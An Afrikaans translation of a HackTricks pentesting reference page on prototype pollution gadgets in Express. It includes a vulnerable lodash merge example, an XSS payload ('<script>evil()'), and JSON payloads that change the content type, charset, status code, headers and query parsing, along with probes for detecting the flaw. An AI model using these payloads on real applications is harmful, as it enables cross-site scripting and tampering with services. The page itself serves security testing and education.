Express Prototype Pollution Gadgets

Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

WhiteIntel is 'n donker-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte gekompromiteer is deur steelware.

Die primêre doel van WhiteIntel is om rekening-oorneemings en lospryse aanvalle te beveg wat voortspruit uit inligtingsteelware.

Jy kan hul webwerf besoek en hul enjin vir gratis probeer by:


Bedien XSS-antwoorde

Vir verdere besonderhede kyk na die oorspronklike navorsing

Verander JSON inhoudstipe na HTML

In 'n Express-toep met 'n JSON-inhoudstipe-antwoord en reflekteer 'n JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhoudstipe nie. Met prototipevervuiling kan ons egter Express in die war bring om 'n HTML-reaksie te dien. Hierdie kwesbaarheid berus op die aansoek wat res.send(obj) gebruik en die liggaamontleder met die application/json-inhoudstipe.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Deur die body en _body eienskappe te verontreinig, is dit moontlik om Express te laat dien die HTML inhoudstipe en die _body eienskap te weerspieël, wat gevolglik tot gestoorde XSS lei.

Stel UTF7 voor

Dit is moontlik om express UTF-7 inhoud te laat voorstel met:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Veilige Skandeertegnieke

JSON spasies

Die volgende PP sal eienskappe binne 'n JSON laat hê met 'n ekstra spasie wat nie die funksionaliteit sal breek nie:

{"__proto__":{"json spaces": " "}}

Dan sal 'n weerspieëlde JSON lyk soos:

{"foo":  "bar"} -- Note the extra space

Blootgestelde Koppe

Die volgende PP-gadget sal die bediener laat terugstuur die HTTP-kop: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Dit vereis dat die CORS-module geïnstalleer moet wees

OPSIES Metode

Met die volgende lading, is dit moontlik om 'n metode te verberg van 'n OPSIES-reaksie:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Dit is moontlik om die teruggevoerde status kode te verander deur die volgende PP-lading te gebruik:

{"__proto__":{"status":510}}

Fout

Wanneer jy 'n prototipe toeken met 'n primitief soos 'n string, veroorsaak dit 'n geen-operasie aangesien die prototipe 'n objek moet wees. As jy probeer om 'n prototipe objek aan Object.prototype self toe te ken, sal dit 'n uitsondering gooi. Ons kan hierdie twee gedragstukke gebruik om te bepaal of prototipevervuiling suksesvol was:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Weerspieëlde Waarde

Wanneer 'n aansoek 'n voorwerp in sy antwoord insluit, kan dit insiggewend wees om 'n eienskap met 'n ongewone naam langs __proto__ te skep. Spesifiek, as slegs die ongewone eienskap in die antwoord teruggegee word, kan dit dui op die toepassing se kwesbaarheid:

{"unusualName":"value","__proto__":"test"}

Verder, in scenarios waar 'n biblioteek soos Lodash gebruik word, bied die instelling van 'n eienskap beide via prototipe besoedeling (PP) en direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap weggelaat word uit die respons, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamgevoeg word:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Verskeie

Laat Kolletjies toe

Daar is 'n opsie in Express wat jou toelaat om voorwerpe vanaf navraagstringparameters te skep. Jy kan dit beslis gebruik in 'n fout ketting om 'n prototipevervuilingskwesbaarheid uit te buit.

{"__proto__":{"allowDots":true}}

?foo.bar=baz skep 'n objek in Node.

Verwysings

WhiteIntel is 'n dark-web aangedrewe soekenjin wat gratis funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur steel-malware is gekompromiteer.

Hul primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.

Jy kan hul webwerf besoek en hul enjin vir gratis probeer by:

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated